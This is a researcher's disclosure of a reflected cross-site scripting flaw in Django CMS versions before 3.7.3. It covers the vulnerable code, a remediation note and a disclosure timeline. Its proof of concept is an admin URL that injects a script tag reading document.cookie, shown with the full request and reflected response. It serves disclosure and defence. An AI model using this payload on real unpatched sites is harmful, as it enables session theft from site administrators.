Sahil Dhar Application Security and Exploitation all day everyday.

Django CMS - Reflected XSS Vulnerability


Django CMS application does not validate plugin_type parameter while generating the error messages for invalid plugin type. The vulnerability allows an attacker to execute arbitrary javascript code in the web browser of affected user.

Vendor Advisory

  • https://www.django-cms.org/en/blog/2020/07/22/django-cms-security-updates-1/

CVSSv3 score

7.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)

Affected versions

  • All django-cms versions prior to 3.7.3

Vulnerability summary

Django CMS application does not validate plugin_type parameter while generating the error messages for invalid plugin type. The vulnerability allows an attacker to execute arbitrary javascript code in the web browser of affected user.

Technical details

In the following code snippet, observe that at line:300, the application pass the GET request object request.GET as a constructor to PluginAddValidationForm class in order to validate the add plugin request parameters.

file: /cms/admin/placeholderadmin.py

288     def add_plugin(self, request):
289         """
290         Shows the add plugin form and saves it on POST.
291 
292         Requires the following GET parameters:
293             - cms_path
294             - placeholder_id
295             - plugin_type
296             - plugin_language
297             - plugin_parent (optional)
298             - plugin_position (optional)
299         """
300         form = PluginAddValidationForm(request.GET)
301 
302         if not form.is_valid():
303             # list() is necessary for python 3 compatibility.
304             # errors is s dict mapping fields to a list of errors
305             # for that field.
306             error = list(form.errors.values())[0][0]
307             return HttpResponseBadRequest(force_text(error))
308 
309         plugin_data = form.cleaned_data
310         placeholder = plugin_data['placeholder_id']
311         plugin_type = plugin_data['plugin_type']

At line: 1268, observe that the application directly concatenates the user input plugin_type to the error message, if the user provides an invalid plugin_type paramter.

file: /cms/admin/forms.py

1250 class PluginAddValidationForm(forms.Form):
1251     placeholder_id = forms.ModelChoiceField(
1252         queryset=Placeholder.objects.all(),
1253         required=True,
1254     )
1255     plugin_language = forms.CharField(required=True)
1256     plugin_parent = forms.ModelChoiceField(
1257         CMSPlugin.objects.all(),
1258         required=False,
1259     )
1260     plugin_type = forms.CharField(required=True)
1261 
1262     def clean_plugin_type(self):
1263         plugin_type = self.cleaned_data['plugin_type']
1264 
1265         try:
1266             plugin_pool.get_plugin(plugin_type)
1267         except KeyError:
1268             message = ugettext("Invalid plugin type '%s'") % plugin_type

Proof of concept

  • Login to the application using admin credentials and create a page.

  • Add a new plugin to the page.

  • In the new browser tab, open the following url:

http://<example_cms>/en/admin/cms/page/add-plugin/?placeholder_id=2&plugin_type=Bootstrap4CodePlugin"><script>alert(document.cookie)</script>&cms_path=/en/?edit&language=en&plugin_language=en

  GET /en/admin/cms/page/add-plugin/?placeholder_id=2&plugin_type=Bootstrap4CodePlugin"><script>alert(document.cookie)</script>&cms_path=/en/?edit&language=en&plugin_language=en HTTP/1.1
  Host: django-cms.com:8000
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: close
  Referer: http://django-cms.com:8000/en/?edit&language=en
  Cookie: django_language=en; csrftoken=liLgHvhAMwI4mGfomHAlfoinhN9Vru7CbzA4FOQ4OP974LFqHZ2e6EsDsKsJpmb4; sessionid=ni8fcfeuk4w6cvjp0cipq19jqjbsuxh5
  Upgrade-Insecure-Requests: 1
  • Observe that the user input gets reflected in the application’s response.
  HTTP/1.1 400 Bad Request
  Date: Fri, 10 Jul 2020 10:15:51 GMT
  Server: WSGIServer/0.2 CPython/3.7.3
  Content-Type: text/html; charset=utf-8
  X-Frame-Options: SAMEORIGIN
  Expires: Fri, 10 Jul 2020 10:15:51 GMT
  Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
  Content-Length: 83
  Content-Language: en
  Vary: Cookie
  
  Invalid plugin type 'Bootstrap4CodePlugin"><script>alert(document.cookie)</script>'

poc

Remediation

It is recommended to implement Context Specific filtering to the user input which needs to be displayed in the application response.

Timeline

Date Status
10-JUL-2020 Reported to vendor
10-JUL-2020 Vendor acknowledgement
21-JUL-2020 Patch available
22-JUL-2020 Public disclosure